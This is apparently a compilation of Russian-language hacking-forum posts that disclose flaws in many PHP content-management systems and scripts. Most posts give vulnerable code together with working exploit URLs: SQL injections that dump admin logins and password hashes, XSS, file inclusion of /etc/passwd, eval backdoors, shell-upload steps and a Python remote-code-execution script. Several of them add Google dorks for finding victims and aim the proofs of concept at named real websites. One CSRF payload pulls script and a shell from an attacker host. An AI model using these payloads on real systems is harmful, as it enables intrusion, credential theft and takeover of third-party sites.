Advanced Poll version <= 2.0.4 (проверил на 2.0.3, 2.0.2, 2.0.4, на остальных не проверял, это подарок на новый год ) Эксплуатация: Code: http;//site.ltd/poll/demo_3.php?poll_id=1+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+f Результат: Code: Error Number: 1062 Duplicate entry '[COLOR=Magenta]5.0.77[/COLOR]:1' for key 'group_key' В файл demo_3.php инклудится уязвимый скрипт class_poll.php PHP: function is_valid_poll_id($poll_id) { if ($poll_id>0) { $this->db->fetch_array($this->db->query("SELECT poll_id FROM ".$this->tbl['poll_index']." WHERE poll_id=$poll_id AND status<'2'")); return ($this->db->record['poll_id']) ? true : false; } else { return false; } } Dork: inurl:"popup.php?action=results" Результатов: примерно 204 000 (0,23 сек.) Развлекатейсь PoC: Code: http://www.bookmine.com/poll/demo_3.php?poll_id=11+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+f © Ereee
MDS-JOB version <= 1.4.1 Dork: inurl:"vacancy.php?id=1" Эксплуатация: Code: http://site.ltd/vacancy.php?id=-1'+union+select+1,2,concat(login_admin,0x3a,pass_admin)+from+job_admin--+f Результат: Code: RnJvbnQ3Nzc=:0b70a123d1acb7edc7ab56ea86b91525 Где RnJvbnQ3Nzc= это логин админа в base64, а пароль в md5: PHP: $new_pass_user = md5($new_pass); Уязвимый код: PHP: if (isset($_GET['id'])) { $id = ClearDataFromForm($_GET['id']); $query_r = "SELECT name_razdel FROM $razdel_t WHERE id_razdel = '$id'"; $result_r = mysql_query($query_r); $line_r = mysql_fetch_assoc($result_r); $name_razdel = $line_r['name_razdel']; PoC: Code: http://www.vip-kurkino.ru/Job/vacancy.php?id=-1'+union+select+1,2,concat(login_admin,0x3a,pass_admin)+from+job_admin--+f © Ereee
FC4 - Счетчик посетителей вебсайта Офф сайт: http://linesoft.org/ Описание: SQL inj Зависимости: mg=off и rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет) Файл: /admin/index.php Уязвимый код: PHP: if ($cmd=="Counter") { echo "<h2>{$AllCommands[$cmd]}</h2>"; $cmd="Counter.Change"; $query = "SELECT * FROM fc4 WHERE Name=\"$Name\""; $result = mysql_query($query) or print("Ошибка при MySQL запросе: ".mysql_error()); Авторизации никакой не требуется, там еще есть инъекции в insert,update,delete, эта самая простая Exploit Code: http://127.0.0.1/fc4-0.34/admin/index.php?cmd=Counter&Name=tdsadas"+and+5=4+union+select+1,2,3,4,5,6,7,version()--+ Описание: пассивная xss Зависимости: rg = on Файл: admin/counter_form.php Уязвимый код: PHP: <form action="index.php" method="POST"> <input name="cmd" type="hidden" value="<?php echo $cmd ?>"> из за того что register_globals = on и переменные в скрипте не определены по умолчанию, мы можем поменять их содержание Exploit Code: http://127.0.0.1/fc4-0.34/admin/counter_form.php?cmd="><script>alert(/xss/)</script> ============================ LS GuestBook v1.0 Офф сайт: http://linesoft.org/ Описание: пассивная xss Зависимости: rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет) Файл: /guestbook.php Уязвимый код: PHP: Пароль:<BR> <input type=password name=a_try_pwd value=""><BR> <input type=hidden name=go value="try_enter"> <input type=hidden name=new_pwd value='.$new_pwd.'> $new_pwd обьявляеться в скрипте только если файла pwd.dat нет, а его нет только при 1 заходе и установки пароля администратора Exploit Code: http://www.bes-chagda.ru/ls_guestbook/guestbook.php?go=auth&new_pwd=1><script>alert(/xss/)</script> пароль администратора есть в куках, зашифрован в md5 ===================== LS Logs 1.22 Офф сайт: http://linesoft.org/ Описание: пассивная xss Зависимости: rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет) Файл: /logsa.php Уязвимый код: PHP: </select><br> [Фильтр] строка в url: <input type=\"text\" name=\"filter_string\" value=\"$filter_string\" size=10> </td><td valign=bottom> Exploit Code: http://127.0.0.1/LSLogs/example/logsa.php?filter_string="><script>alert(/xss/)</script>
Заливка шелла в MODx Заливка шелла в MODx(тестил на 1.0.5) 1-вариант. Через модуль Doc Manager(можно любой другой или создать свой, юзал Opera): 1) Админка(http://site/manager/) => Сайт => Модули => Doc Manager => В поле "Код модуля(php)" вставляем: PHP: if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); Сохраняем. 2) Идем: Админка => Модули => Doc manager(жмите на него колесиком[mouse3]) Открывается новое окно "Менеджер ресурсов". Скопируте адресную строку(http://site/manager/index.php?a=112&id=1). Жмем Ctrl+U, в самый верх пишем: Code: <a href="http://site/manager/index.php?a=112&id=1[COLOR=Magenta]&e=phpinfo();[/COLOR]"><h1>ЖМИ</h1></a> Применяем изменения. Видим огромную ссылку "ЖМИ", жмем и видим phpinfo();. Если не менять исходник, ругается двиг, типа Anti-CSRF. 2-вариант. Банально: 1) Идем: Админка > Инструменты => Конфигурация => Файл-менеджер В поле "Разрешенные к загрузке файлы" через запятую добавляем php. 2) Идем: Админка => Элементы => Управление файлами => Внизу "Обзор" => Льем шелл в любую папку. 3-вариант. Редактируем прямо из админки php-файлы(если права есть): 1) Идем: Админка => Элементы => Управление файлами Видим файлы, рядом с доступной для записи файлов есть зеленая галка, жмем. Появится поле, вставляем код, жмем "Сохранить". Шелл доступен по адресу http://site.ltd/redaktirovanyi_file.php --- Раскрытие пути(тестил на 1.0.5) Code: http://site/assets/cache/siteCache.idx.php http://site/assets/plugins/managermanager/example.mm_rules.inc.php http://site/assets/plugins/managermanager/default.mm_rules.inc.php http://site/assets/plugins/managermanager/mm.inc.php etc.
ArmageddoN DDoS Bots 2.0 SQL Инъекция & Выполнение кода NEED: magic_quotes_gpc = Off, admin_rights Уязвимый участок кода: index.php PHP: <?php [...]function addcommand($command) { mysql_query("UPDATE bots SET command='".$command."' WHERE id!=0"); $fh = fopen("command.php", "w"); $data="<? if (strpos($_SERVER['PHP_SELF'],\"command.php\")!=0){include \"404.php\";} $com='".$command."';?>"; fwrite($fh, $data); fclose($fh); } [...] if(isset($_GET['url']) && $_GET['url']!=''){ $url=$_GET['url']; $text = str_replace("n","",$url); addcommand($url); } [...] PoC: Добавляем новую команду с текстом: Code: '; @eval($_REQUEST['cmd']); $a='lol Exec: /command.php?cmd=phpinfo(); Чтение содержимого файлов (config.php+) NEED:admin_rights editheaders.php Уязвимый участок кода: PHP: <?php [...]If ($_GET['filename']!="Select file...") { $list=file_get_contents("data/".$_GET['filename'].".dat"); } [...]echo $list; PoC: Code: ?filename=../config.php%00 (при условии magic_quotes_gpc = Off) ?filename=../config.php////[4096 слешей]//// Выполнение кода [2] NEED: admin_rights editheaders.php Уязвимый участок кода: PHP: <?php [...]if ($_GET['com']=="Save") { if ($_GET['filename']!="Select file...") { $fh=fopen("data/".$_GET['filename'].".dat", "w"); fwrite($fh, $_GET['data']); fclose($fh); } [...] PoC: Code: ?com=Save&data=<?php @eval($_REQUEST[cmd]); ?>&filename=shell.php%00 (при условии magic_quotes_gpc = Off) ?com=Save&data=<?php @eval($_REQUEST[cmd]); ?>&filename=shell.php////[4096 слешей]//// Раскрытие путей Почти в каждом файле(login.php+) Уязвимый участок кода: Code: session_start(); PoC: Code: Cookie: PHPSESSID=!@#$%^&*()_+; ©0x0000ED.COM, Boolean
TopForm CMS офф. сайт error-based sql уязвимый параметр issue_id Code: issue_id=7'+and+(select+1+from(select+count(*),concat((select+concat(login,0x3a,password)+from+users+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)+--+ так же уязвимы параметры id и cat в админке: /admin.php sql в post-запросе логина уязвимый параметр parent Code: admin.php?a=issues&parent=11+and+(select+1+from(select+count(*),concat((select+concat(login,0x3a,password)+from+users+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)+--+&action=new так же issue_id, class PoC: Code: http://bzhi.ru/?issue_id=7&cat=2'+and+(select+1+from(select+count(*),concat((select+concat(login,0x3a,password)+from+users+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)+--+ dork: Code: inurl:"index.php?issue_id=" © faza02
memento cms 2 memento cms 2 PHP: index.php?issue_id=sql inj админка: admin.php пароли не хэшированны хотя возможно это и есть то что в предидущем посте
Обзор уязвимостей админ панели Dirt Jumper 5 SQL Inj [INSERT] /index.php: PHP: [...] $ip=$_POST['k']; [...] mysql_query(" INSERT INTO `td` (`ip`,`ip2`,`time`)VALUES('$ip','$ip2','$time')"); [...] Из инъекции особо ничего не вытянуть, но «обесточить» сервер можно, воспользовавшись тем же BENCHMARK'ом. Если честно, непонятно, что курили разработчики, но команды хранятся в файле img.gif и для показа ботам файл инклудится. /index.php: PHP: [...] include "img.gif"; [...] Code Execution Нужны права админа. 1. Добавляем новую команду: Code: <?php @eval($_POST[cmd]); ?> * Никакой фильтрации нет вообще. 2. POST index.php: Code: k=1&cmd=phpinfo() Если знаете параметр $GET_login, который прописывается в конфиге(по дефолту dj5) можно провернуть CSRF результатом которого будет выполнение php кода и xss. Code: <body onload='document.csrf.submit()'> <form method="POST" name="csrf" action="http://localhost/admin/admin.php?login=dj5&info=1" class="form"> <input type="hidden" name="url" value="url=google.de</textarea><script src='http://EVILHOST.COM/EVIL.JS'></SCRIPT><?php @eval($_GET[s]); ?>" /> <input type="hidden" name="flows" value="25" /> <input type="hidden" name="mode" value="4" /> <input type="hidden" name="save" value="Save" /> </form> </body> Где http://EVILHOST.COM/EVIL.JS ссылка на ваш зловредный js код. * Можно еще сразу же средствами js отправить POST запрос на /index.php, и выполнить код, например Code: copy("http://evilhost.com/shell.txt", "shell.php"); file_put_contents("img.gif", ""); Тогда шелл автоматически зальется(если прав хватит), а img.gif очистится.
Уязвимый скрипт: public.php Уязвимая функция: display_fns.php exploit: http://bionat.ru/public.php?id_n=-24+union+select+concat_ws(0x3a,user_name,password),2,3+from+user http://bogan.ru/service.php?id_s=27999+union+select+concat_ws(0x3a,user_name,password),2,3+from+user http://kalmatron-s.ru/public.php?id_n=-24+union+select+1,concat_ws(0x3a,user_name,password),3+from+user google: intext:"Copyright © 2002 - 2012, Интернет-агентство «Боган»" profit: Для устранения уязвимости достаточно добавить функцию intval(); code:
phpComasy 1.0.1 index.php PHP: <?php /* check if phpComasy is installed */ if (!file_exists("config.php")) { header('Location: install.php'); exit(); } /* Includes */ require_once("config.php"); require_once("classes/class.web.php"); classes/class.web.php PHP: <?php /* Includes */ require_once("config.php"); require_once("classes/class.settings.php"); require_once("classes/class.mysql.php"); require_once("classes/class.security.php"); require_once("classes/class.tools.php"); require_once("classes/class.page.php"); require_once("classes/class.module.php"); require_once("classes/class.management.php"); require_once("classes/class.user_management.php"); require_once("classes/class.module_management.php"); require_once("classes/class.manage_language_files.php"); require_once("classes/class.file_manager.php"); require_once("classes/class.action.php"); require_once("classes/class.message.php"); require_once("classes/class.language.php"); require_once("classes/class.formular.php"); require_once("classes/class.page_comment.php"); require_once("classes/class.search.php"); classes/class.search.php PHP: <?php class search { var $data; // data from POST and GET var $web; // object of the previous class (web) // constructor function search(&$data, &$web) { $this->data = $data; $this->web = &$web; } function get_search_form() { $return = '<form method="post" action="?action=search_result">'; $return .= '<input id="portlet-search-input" type="text" maxlength="50" size="10" name="searchtext" /> '; $return .= '<input id="portlet-search-button" type="submit" value="'._SEARCH.'" />'; $return .= '</form>'; return $return; } function form_search() { $this->web->title = _SEARCH; $this->web->introduction = ''; $this->web->content = '<div class="search">'; $return = '<form method="post" action="?action=search_result">'; $return .= '<p><label for="search-input">'._SEARCH_STRING.'</label> <input id="search-input" type="text" maxlength="50" size="30" name="searchtext" /></p>'; $return .= '<p><input id="search-button" type="submit" value="'._SEARCH.'" /></p>'; $return .= '</form>'; $this->web->content .= $return; $this->web->content .= '</div>'; } function search_result() { $this->web->title = _SEARCH; $this->web->introduction = ''; $this->web->content = '<div class="search">'; // Security check $searchtext = str_replace(array("%", "&", ";", "?", "/", "\\"), "", $this->data['searchtext']); $searchtext_umlaut = $this->web->tools->umlaut($searchtext); if (strlen($searchtext) >= 3) { $search_query = $this->web->db->query("SELECT * FROM `#__page_language` WHERE language='".$this->web->language->get_current_language()."' AND (LOWER(title) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(introduction) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(content) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(title) LIKE '%".strtolower(trim($searchtext_umlaut))."%' OR LOWER(introduction) LIKE '%".strtolower(trim($searchtext_umlaut))."%' OR LOWER(content) LIKE '%".strtolower(trim($searchtext_umlaut))."%');"); example: Code: http://www.ssk66.de/?action=search_result POST: searchtext=sad') or (select count(*)from information_schema.tables group by concat((version()),floor(rand(0)*2)))or(' shell upload: classes/class.file_manager.php PHP: function file_upload() { if ($this->web->security->check_security() == 1 || $this->web->security->check_access_for_area('filemanager')) { if ($_FILES['file']['tmp_name']) { $extention = strtolower(strrchr($_FILES['file']['name'], '.')); chmod ($_FILES['file']['tmp_name'],0644); //chmod fixchmod ($_FILES['file']['tmp_name'],0644); //chmod fix $new_filename = str_replace(" ", "_", $this->web->tools->special_chars_to_html($this->path.$_FILES['file']['name'], false, true)); $new_filename_without_path = str_replace(" ", "_", $this->web->tools->special_chars_to_html($_FILES['file']['name'], false, true)); move_uploaded_file($_FILES['file']['tmp_name'], __ABSOLUTE_PATH.'/data/'.$new_filename); if (($extention == ".png") || ($extention == ".gif") || ($extention == ".jpg") || ($extention == ".jpeg")) { $this->web->message->send_message(_MESSAGE_FILE_UPLOAD_SUCCESSFUL, '', 0, '&action=image_convert_form&path='.$this->path.'&file='.$new_filename_without_path); } else { $this->web->message->send_message(_MESSAGE_FILE_UPLOAD_SUCCESSFUL, '', 0, '&action=file_manager&path='.$this->path); } } else { $this->web->message->send_message(_MESSAGE_REQUIRED_PARAMETER, '', 0, '&action=file_upload_form&path='.$this->path); } } else {$this->web->message->send_message(_MESSAGE_NO_PERMISSION);} } classes/class.security.php PHP: function check_security() { if ((!empty($_SESSION['user_id']) ) && (!empty($_SESSION['user_username'])) && (@$_SESSION['user_role'] == 'admin')) { // additional check (phpcomasy url) if ($_SESSION['user_url'] == __WEB_PATH) { return 1; } else { return 0; } } else { return 0; } } Shell: http://site.com/data/shell.php Dork: powered by phpComasy
AdaptCMS Уязвимости AdaptCMS 2.0.x Сайт разработчика Скачать SQL injection Зависимости: magic_quotes_gpc = off File: /inc/function.php PHP: ... if ($id) { $poll_sql = mysql_query("SELECT * FROM ".$pre."polls WHERE poll_id = '".$id."' AND type = 'poll'"); } ... Exploit: http://127.0.0.1/cms/index.php?view=polls&id=1' and 1=0 union select 1,2,version(),4,5,6,7,8 -- LFI Зависимости: magic_quotes_gpc = off File: /inc/web/plugins.php PHP: ... $plugin = mysql_fetch_row(mysql_query("SELECT url,status FROM ".$pre."plugins WHERE name = '".strtolower(str_replace("_", " ", $_GET['plugin']))."'")); if ($plugin[1] == "Off") { echo "Sorry, but the <b>".ucwords($_GET['plugin'])."</b> Plugin is offline"; } else { $module = $_GET['module']; include ($sitepath."plugins/".$plugin[0]); ... Данные из запроса попадают в функцию include Exploit: http://127.0.0.1/cms/index.php?view=plugins&plugin=a' union select '/../../../../../etc/passwd',null -- Blind SQL injection Зависимости: нет File: /config.php PHP: ... if ($_SERVER['HTTP_REFERER'] && stristr($_SERVER['HTTP_REFERER'], "admin.php") === FALSE) { if (mysql_num_rows(mysql_query("SELECT * FROM ".$pre."stats_archive WHERE name = 'referer' AND data = '".$_SERVER['HTTP_REFERER']."' AND week = '".date("W")."' AND year = '".date("Y")."'")) == 0) { mysql_query("INSERT INTO ".$pre."stats_archive VALUES (null, 'referer', '".$_SERVER['HTTP_REFERER']."', '".date("W")."', '".date("n")."', '".date("Y")."', 1, 1, '".time()."')"); } else { mysql_query("UPDATE ".$pre."stats_archive SET views=views+1, date = '".time()."' WHERE name = 'referer' AND data = '".$_SERVER['HTTP_REFERER']."'"); } ... } ... Не фильтруется $_SERVER['HTTP_REFERER']. Можно крутить как слепую, если условие верно - ошибки нет. Exploit: Code: GET /cms/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201 Referer: 1' and if(mid((select version()),1,1)=5,1,(select 1 union select 2)) -- d Code execution Зависимости: не удален файл install.php Exploit: Заходим на install.php и в качестве префикса таблицы указываем Code: aaa_'; if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); // Получаем бекдор: http://127.0.0.1/cms/inc/dbinfo.php?e=phpinfo();
Уязвимости Nuked-Klan Nuked-Klan SP 4.5Скачать На баг-треках я нашел один актуальный баг. Но есть ещё. В движке используется ereg. Remote code execution Зависимости: magic_qoutes_gpc = off File: /globals.php PHP: ... extract($_POST, EXTR_SKIP); extract($_GET, EXTR_SKIP); ... $bad_string = array("%20union%20", "/*", "*/union/*", "+union+", "load_file", "outfile", "document.cookie", "onmouse", "<script", "<iframe", "<applet", "<meta", "<style", "<form", "<img", "<body", "<link"); ... Далее addshashes применяется к массивам $_GET, $_POST и $_COOKIE. File: /nkSession.php PHP: ... if (isset($_COOKIE[$cookie_theme]) && $_COOKIE[$cookie_theme] != "") $user_theme = $_COOKIE[$cookie_theme]; if (isset($_COOKIE[$cookie_langue]) && $_COOKIE[$cookie_langue] != "") $user_langue = $_COOKIE[$cookie_langue]; ... Если кук нет, то переменная $user_langue будет неопределена, и мы сможем присвоить ей нужное значение сами в обход addslashes. File: /nuked.php PHP: ... if ($user_langue != "" && is_file("lang/" . $user_langue . ".lang.php")) { $language = $user_langue; } ... Идет проверка на is_file. File: /ban.php PHP: ... translate("lang/" . $language . ".lang.php"); ... Вызывается функция translate. File: /nuked.php PHP: function translate($file_lang) { global $nuked; ob_start(); print eval(" include ('$file_lang'); "); $lang_define = ob_get_contents(); ... ob_end_clean(); return $lang_define; } Переменная попадает в eval. Но из-за буфферизации вывода придется писать результат выполнения команд в файл. PoC: http://127.0.0.1/nk/ban.php?user_langue=english.lang.php%00'); echo 123; // Exploit: Code: #!/usr/bin/python import urllib url = 'http://127.0.0.1/nk/' log = 'upload/Forum/output.txt' def execute(cmd): s = "english.lang.php"+chr(0)+"'); file_put_contents(\"./"+log+"\", `"+cmd+"`); //" try: page = urllib.urlopen(url+'ban.php?user_langue='+urllib.quote_plus(s)).read() page = urllib.urlopen(url+log).read() return page except: return '' print execute('ls -lia') SQL injection Зависимости: magic_quotes_gpc = off File: /modules/Members/index.php PHP: ... if ($letter == "Autres") { $and = "AND pseudo NOT REGEXP '^[a-zA-Z].'"; } else if ($letter != "" && ereg("^[A-Z]+$", $letter)) { $and = "AND pseudo LIKE '" . $letter . "%'"; } ... $sql = mysql_query("SELECT pseudo, url, email, icq, msn, aim, yim, rang, country FROM " . USER_TABLE . " WHERE niveau > 0 " . $and . " ORDER BY pseudo LIMIT " . $start . ", " . $nb_membres); ... Используем null-byte для обхода регулярки. PoC: http://127.0.0.1/nk/index.php?file=Members&letter=XX%00'+and+1=0+%0aunion+select+version(),2,3,4,5,6,7,8,9+--+d SQL injection Зависимости: magic_quotes_gpc = off, надо быть зарегистрированным пользователем. File: /modules/Userbox/index.php PHP: ... function post_message() { global $for, $message, $titre, $user; if ($for != "" && ereg("^[a-zA-Z0-9]+$", $for)) { $sql = mysql_query("SELECT pseudo FROM " . USER_TABLE . " WHERE id = '" . $for . "'"); list($pseudo) = mysql_fetch_array($sql); } ... if ($message != "") { $message = stripslashes($message); $reply = "[quote=" . $pseudo . "]" . htmlentities($message) . "[/quote]"; } ... } PoC: http://127.0.0.1/nk/index.php?file=Userbox&op=post_message&message=a&for=a%00'%0aunion+select+version()+--+ Заливка шелла Нужны права администратора Заходим на http://127.0.0.1/nk/index.php?file=Page&page=admin Создаем новую php-страницу, в контенте вводим eval(stripslashes($_REQUEST['x'])); или загружаем файл.
Elemata CMS Сайт разработчика Скачать SQL-injection Зависимости: magic_quotes_qpc = off File: /functions/global.php PHP: ... function e_meta($id) { ... $query_meta = "SELECT * FROM posts WHERE id = '$id'"; $meta = mysql_query($query_meta, $default) or die(mysql_error()); $row_meta = mysql_fetch_assoc($meta); echo ' <meta name="description" content="'.$row_meta['meta_desc'].'" /> <meta name="author" content="'.$row_meta['author'].'" /> <meta name="keywords" content="'.$row_meta['meta_keywords'].'" /> <meta name="copyright" content="'.$row_meta['meta_copyright'].'" /> '; ... } PoC: http://127.0.0.1/e/index.php?id=1'+and+1=0+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+users+--+ Пассивная XSS File: /themes/revive/search.php PHP: ... <p>You searched for "<i><?PHP echo $_REQUEST['s']; ?></i>" </p> ... PoC: http://127.0.0.1/e/index.php?s=<script>alert('lol');</script> Заливка шелла Зависимости: права администратора В админ-панеле в разделе Media. LFI Зависимости: magic_quotes_qpc = off, и права администратора File: /admin/content/themes.php PHP: ... if($_REQUEST['cmd'] == activate) { //UPDATE THEME SETTINGS $a_folder = $_REQUEST['folder']; mysql_select_db($database_default, $default); mysql_query("UPDATE settings SET theme = '$a_folder'"); } ... File: /index.php PHP: ... //Include Theme mysql_select_db($database_default, $default); $theme = mysql_query("SELECT * FROM settings"); $row_theme = mysql_fetch_assoc($theme); include ("themes/".$row_theme['theme']."/index.php"); ... PoC: http://127.0.0.1/e/admin/index.php?action=themes&cmd=activate&folder=../../../../../../../etc/passwd%00 Заходим на главную страницу и файл инклюдится. Меняем тему обратно на стандартную: http://127.0.0.1/e/admin/index.php?action=themes&cmd=activate&folder=revive uCMS v 1.2 Сайт разработчика Скачать SQL injection Зависимости: magic_quotes_gpc = off File: /content.php PHP: ... $current_page = mysql_query("SELECT * FROM ".$db_prefix."pages WHERE id = '$_GET[id_page]' Limit 1"); $r_current_page = mysql_fetch_array($current_page); $current_version_page = mysql_query("SELECT * FROM ".$db_prefix."pages_lg WHERE id_page = '$r_current_page[id]' AND id_lg = '$r_current_language[id]' Limit 1"); $r_current_version_page = mysql_fetch_array($current_version_page); ... if(settings_site_name_display == 1) { include('modules/sitename/sitename.php'); if(settings_site_name_position == 1) $page_title = $mod_sitename_site_name.($r_current_version_page['title'] ? ' - ' : '').$r_current_version_page['title']; elseif(settings_site_name_position == 2) $page_title = $r_current_version_page['title'].($r_current_version_page['title'] ? ' - ' : '').$mod_sitename_site_name; } else $page_title = $r_current_version_page['title']; ... Данные из первого запроса попадают во второй. Далее выводится переменная $page_title. PoC: Code: -1' union select 1,2,3,4,version(),6,7,8,9,10,11,12 -- d ==> 0x2D312720756E696F6E2073656C65637420312C322C332C342C76657273696F6E28292C362C372C382C392C31302C31312C3132202D2D2064 http://127.0.0.1/cms/index.php?id_page=-1'+union+select+0x2D312720756E696F6E2073656C65637420312C322C332C342C76657273696F6E28292C362C372C382C392C31302C31312C3132202D2D2064,2,3,4,5,6,7,8+--+
Mura CMS 6 (build 5310) website: http://www.getmura.com/ Active XSS суть в том что в админской панели выводятся логи посетителей, в том числе и user-agent, который не фильтруется открываем любую страницу сайта,при этом меняем user-agent на js снифф, и при открытии логовой страницы в панели админа куки бегут к нам. немного кода Code: /Mura/requirements/mura/user/sessionTracking/sessionTrackingDAO.cfc PHP: <cfquery datasource="#variables.datasource#" username="#variables.dbUsername#" password="#variables.dbPassword#"> INSERT INTO tsessiontracking (REMOTE_ADDR,SCRIPT_NAME,QUERY_STRING,SERVER_NAME,URLToken,UserID,siteID, country,lang,locale, contentID, referer,keywords,user_agent,Entered,originalURLToken) values ( <cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.REMOTE_ADDR#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#left(arguments.SCRIPT_NAME,200)#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.QUERY_STRING#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#left(arguments.SERVER_NAME,50)#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#left(arguments.URLToken,130)#" />, <cfqueryparam cfsqltype="cf_sql_varchar" null="#iif(arguments.userid neq '',de('no'),de('yes'))#" value="#arguments.userid#" />, <cfqueryparam cfsqltype="cf_sql_varchar" null="#iif(arguments.siteid neq '',de('no'),de('yes'))#" value="#arguments.siteid#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.country#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.language#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.locale#" />, <cfqueryparam cfsqltype="cf_sql_varchar" null="#iif(arguments.contentid neq '',de('no'),de('yes'))#" value="#arguments.contentid#" />, <cfqueryparam cfsqltype="cf_sql_varchar" value="#left(arguments.referer,255)#" />, <cfqueryparam cfsqltype="cf_sql_varchar" null="#iif(arguments.keywords neq '',de('no'),de('yes'))#" value="#left(arguments.keywords,200)#"/>, <cfqueryparam cfsqltype="cf_sql_varchar" value="#left(arguments.user_agent,200)#"/>, <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">, <cfqueryparam cfsqltype="cf_sql_varchar" value="#left(arguments.originalURLToken,130)#" /> ) </cfquery> Code: /Mura/requirements/dashboard/dashboardManager.cfm PHP: <cffunction name="getUserAgentFromSessionQuery" access="public" returntype="String"> <cfargument name="rsSession"/> <cfset var rs = "" /> <cfquery name="rs" dbType="query"> select user_agent from arguments.rsSession where user_agent > '' </cfquery> <cfif rs.recordcount> <cfreturn rs.user_agent /> <cfelse> <cfreturn "unknown" /> </cfif> </cffunction> output Code: /Mura/admin/core/views/cdashboard/viewsession.cfm PHP: <li><strong> #application.rbFactory.getKeyValue(session.rb,"dashboard.session.useragent")#:</strong> #application.dashboardManager.getUserAgentFromSessionQuery(rc.rslist)# </li>
PHD Help Desk <= 2.12 SQLI Source: PHP: $operador=trim(strip_tags($_POST[operador])); $query="SELECT * FROM {$MyPHD}operador WHERE operador_id='$operador'"; Уязвим параметр $operador, который получается из формы авторизации в файле login.php Через Firebug меняем максимальную длину ввода для логина и впихиваем это: PHP: 1' AND extractvalue(1,concat(0x3a,(select(extractvalue(1,concat(0x3a,(select contrasenia from operador limit 0,1)))) from operador limit 1,1))) OR 5='2 В результате XPATH error Таким образом достаём хеш пароля (поле contrasenia) поле логина: operador_id
Заранее предупреждаем, что функция extractvalue работает только с версией MySQL >=5.1 , а потому на ранних версиях, скорее всего, нужно искать вектор Error-Baesd через rand(0).
WebsiteBaker CMS Уязвимый модуль : FAQ Maker SQL Injection требования: mq = Off /modules/faqmaker/view.php PHP: .... if (isset($_GET['qa_id'])) { $qa = explode(".", $_GET['qa_id']); $t_id = $qa[0]; $q_id = $qa[1]; $query_quests = $database->query("SELECT * FROM `".TABLE_PREFIX."mod_faqmaker_questions` WHERE question_id='$q_id'"); $quests = $query_quests->fetchRow(); $answer = $quests['answer']; $modified_when = $quests['modified_when']; $wb->preprocess($answer); .... PoC: /page.php?qa_id=1.2'+and+0+union+select+1,2,3,4,5,6,7,8--+
Condominium Management System eCondo Сингапурская контора. Официальный сайт http://www.econdo.com.sg/ SQL Injection Уязвимый сценарий: /dev/label.php Уязвимый параметр: id Вектор: error-based Exploit: [site/dev/label.php?id=1 or(SELECT 1 from information_schema.tables group by concat((SELECT{YOUR REQUEST}),floor(rand(0)*2))having max(0)) --] Примеры: Панель администратора: site/dev/login.php MD5-хэши паролей и имена пользователей наxодятся в таблице dev_user, имена колонок соответственно dev_pword и dev_user_name. Исходники не нашел.
Уязвимый сценарий statpage.php от ukrlab.com Официальный сайт http://www.ukrlab.com SQL Injection Уязвимый параметр: stid Dork: inurl:statpage.php?stid= Вектор: union-query Требования: mq = off Уязвимый код (запрос вытаскивал из PROCESSLIST, код может отличаться, но смысл один): PHP: ... $id = $_GET['stid']; ... $query = "SELECT * FROM ua_k_stat_page WHERE id= '".$id."' "; ... Exploit: [site/statpage.php?stid=99999.9/*!UNION SELECT 1,version(),3,4,5*/ -- ]
CMS WebsiteBaker Version 2.8.3 - последняя версия! Официальный сайт http://www.websitebaker.org passive XSS (reflected) Требования: права администратора Уязвимый сценарий:admin/admintools/tool.php PHP: $doSave = (isset($_POST['save_settings']) || (isset($_POST['action']) && strtolower($_POST['action']) == 'save')); // test for valid tool name if(preg_match('/^[a-z][a-z_\-0-9]{2,}$/i', $toolDir)) { // Check if tool is installed $sql = 'SELECT `name` FROM `'.TABLE_PREFIX.'addons` '. 'WHERE `type`=\'module\' AND `function`=\'tool\' '. 'AND `directory`=\''.$toolDir.'\''; if(($toolName = $database->get_one($sql))) { // create admin-object and print header if FTAN is NOT supported AND function 'save' is requested $admin_header = !(is_file(WB_PATH.'/modules/'.$toolDir.'/FTAN_SUPPORTED') && $doSave); $admin = new admin('admintools', 'admintools', $admin_header ); if(!$doSave) { // show title if not function 'save' is requested print '<h4><a href="'.ADMIN_URL.'/admintools/index.php" '. 'title="'.$HEADING['ADMINISTRATION_TOOLS'].'">'. $HEADING['ADMINISTRATION_TOOLS'].'</a>'. ' » '.$toolName.'</h4>'."\n"; } // include modules tool.php require(WB_PATH.'/modules/'.$toolDir.'/tool.php'); $admin->print_footer(); }else { // no installed module found, jump to index.php of admintools header('location: '.ADMIN_URL.'/admintools/index.php'); exit(0); } }else { // invalid module name requested, jump to index.php of admintools header('location: '.ADMIN_URL.'/admintools/index.php'); exit(0); } Exploit: